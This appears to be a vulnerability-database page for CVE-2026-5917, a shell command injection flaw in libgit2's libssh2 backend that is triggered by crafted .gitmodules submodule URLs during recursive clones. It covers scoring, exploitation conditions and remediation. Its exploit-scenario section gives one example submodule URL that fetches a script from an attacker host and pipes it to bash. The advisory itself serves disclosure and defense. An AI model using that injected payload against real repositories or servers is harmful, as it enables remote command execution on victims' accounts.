Skip to main content

libgit2 EUVDEUVD-2026-57011

| CVE-2026-5917 HIGH
OS Command Injection (CWE-78)
2026-08-11 disclosure@vulncheck.com GHSA-3gwr-xcwq-7892
8.6
CVSS 4.0 · Vendor: vulncheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker publishes malicious repository
  2. Delivery
    Craft .gitmodules with injected SSH submodule URL
  3. Exploit
    Victim runs recursive clone via libgit2/libssh2
  4. Execution
    gen_proto() builds unescaped shell command
  5. Persist
    SSH server interprets injected metacharacters
  6. Impact
    Execute arbitrary commands under victim's SSH account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires four concurrent conditions: (1) the libgit2 library must be compiled with the libssh2 SSH backend (USE_SSH=libssh2)-builds using other transports are not affected; (2) the victim must perform a recursive clone operation (git clone --recurse-submodules or equivalent programmatic API call) that processes a .gitmodules file; (3) the .gitmodules file must reference a submodule via an SSH URL with an attacker-controlled path containing shell metacharacters; (4) the victim's libgit2 client must successfully establish an SSH connection to the submodule host, meaning the victim's SSH credentials must be accepted by the remote server. Exploitation is limited by the UI:A requirement-fully automated exploitation without victim action is not possible. Non-recursive clone operations, HTTPS-only submodule URLs, and builds without the libssh2 backend are unaffected.

Impact

CVSS 4.0 rates this 8.6 with AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H, reflecting a high-severity network-exploitable flaw requiring only user interaction (the victim performing a recursive clone). EPSS stands at 0.86% (55th percentile)-low absolute probability of exploitation despite the moderate percentile rank, consistent with SSVC's 'Exploitation: none' status. SSVC also labels it 'Automatable: no,' aligning with the required user interaction (UI:A). The total technical impact rating from SSVC matches the CVSS high-severity triad but the non-automatable designation limits mass exploitation potential. The key risk limiter is deployment context: exploitation requires the victim to recursively clone an attacker-controlled repository using a libgit2-based client built specifically with the libssh2 backend. Developers and CI/CD systems that clone untrusted repositories-common in open-source tooling and build automation-face meaningfully higher exposure than end-user Git clients.

Exploit ScenarioDerived

An attacker publishes a repository containing a crafted .gitmodules file with a submodule SSH URL such as ssh://attacker.example.com/repo';curl attacker.example.com/shell.sh|bash;'. When a developer or CI/CD pipeline runs a recursive clone of this repository using a libgit2-based client built with the libssh2 backend, libgit2 constructs a shell command embedding the unescaped path and dispatches it to the SSH server via libssh2_channel_exec(). The remote SSH server's shell interprets the injected tokens, executing the attacker's payload under the victim's SSH user account on that server. No public exploit code has been identified at time of analysis, but the attack technique is straightforward given the description's specificity.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 26, 2026

Shell command injection in libgit2's SSH libssh2 backend (v0.27.0-v1.9.0) enables remote attackers to execute arbitrary commands on an SSH server by embedding unescaped shell metacharacters in a submodule URL. An attacker who controls a repository's .gitmodules file can induce arbitrary SSH server-side code execution under the victim's SSH user account when the victim performs a recursive clone using a libgit2-based client built with the libssh2 backend. No public exploit has been identified at time of analysis and SSVC assessment records no active exploitation, but CVSS 4.0 scores this 8.6 and technical impact is rated total.

Earlier versions of this analysis (1)
v1 Aug 11, 2026 - 22:41 CVSS 9.4

Shell command injection in libgit2 versions 0.27.0 through 1.9.0, when compiled against the libssh2 SSH backend (USE_SSH=libssh2), lets a remote attacker run arbitrary commands on an SSH server under the victim's account by embedding shell metacharacters in a repository path. A malicious .gitmodules submodule URL processed during a recursive clone reaches libssh2_channel_exec() unescaped, turning a routine clone into remote command execution. No public exploit identified at time of analysis and it is not listed in CISA KEV, but the CVSS 4.0 score of 9.4 and trivial exploitation complexity make it a serious client-side supply-chain risk.

RemediationAI

Upgrade to a patched release of libgit2 beyond v1.9.0; the vendor has confirmed a patch is available per the GitHub Security Advisory at https://github.com/libgit2/libgit2/security/advisories/GHSA-xqj4-2j5v-rr75, though no specific fixed version number is confirmed in the available intelligence-verify the exact patched release tag against the upstream repository at https://github.com/libgit2/libgit2. If an immediate upgrade is not feasible, recompile libgit2 without the libssh2 backend (omit USE_SSH=libssh2 or select an alternative SSH transport) to eliminate the vulnerable code path entirely; this may remove SSH functionality if no other backend is substituted. As an additional control, restrict recursive clone operations to trusted repositories in CI/CD pipelines, enforcing allowlists of permitted submodule hosts and blocking execution on repositories with untrusted .gitmodules files. Do not perform git clone --recurse-submodules against untrusted or third-party repositories using affected libgit2 builds until patched.

Affected VersionsENISA

libgit2 0.27.0 ≤1.9.0

Affected Packages

euvd libgit2 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

libgit2 is a portable C implementation of the Git core library used by many Git clients and hosting platforms. The vulnerability is rooted in CWE-78 (OS Command Injection): the gen_proto() function in ssh_libssh2.c constructs a shell command by concatenating the repository path directly into a string (e.g., git-upload-pack '/path/to/repo'), which is then dispatched via libssh2_channel_exec(). When the repository path contains shell metacharacters-single quotes, semicolons, pipes-the remote SSH server's shell interprets the injected tokens as additional commands rather than path components. The vulnerability is specific to builds compiled with USE_SSH=libssh2; builds using other SSH backends (e.g., OpenSSH exec transport) are not affected. Affected CPE range covers libgit2 0.27.0 through 1.9.0 per EUVD-2026-57011.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vulncheck) PRIMARY 8.6 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.6 CRITICAL

Network-reachable via SSH, no attacker privileges needed, but user must initiate recursive clone; scope changes because injection impacts remote SSH server beyond the vulnerable libgit2 process.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Red Hat 8.8 HIGH

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Analysis Updated
Aug 26, 2026 - 16:32 vuln.today
v2 - CVSS changed
Severity Changed
Aug 26, 2026 - 16:22 NVD
CRITICAL HIGH
CVSS changed
Aug 26, 2026 - 16:22 NVD
9.4 (CRITICAL) 8.6 (HIGH)
CVE Published
Aug 11, 2026 - 22:17 cve.org
CRITICAL 9.4

DescriptionCVE.org

libgit2 versions v0.27.0 through v1.9.0 built with the libssh2 SSH backend (USE_SSH=libssh2) contain a shell command injection vulnerability that allows remote attackers to execute arbitrary commands on an SSH server by supplying a repository path containing unescaped shell metacharacters such as single quotes, semicolons, or pipes. The gen_proto() function in ssh_libssh2.c inserts the repository path directly into a shell command string without escaping special characters before passing it to libssh2_channel_exec(), enabling an attacker to craft a malicious submodule URL in a .gitmodules file that, when processed during a recursive clone, causes the remote server's shell to interpret injected commands under the victim's SSH user account.

Executive ViewAI

Why It Matters

libgit2 versions 0.27.0-1.9.0 contain a shell command injection vulnerability enabling arbitrary code execution when developers clone repositories with malicious .gitmodules files. This affects organizations using libgit2-based Git tools, putting developer accounts at risk of compromise when cloning untrusted repositories. With no public exploit identified at time of analysis, a vendor patch is available and should be deployed urgently.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.9%
Top 45% exploitable
Prevalence
Medium
widely used Git C library, but libssh2 backend is non-default
Social Media
2
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.9%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Development Tools 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy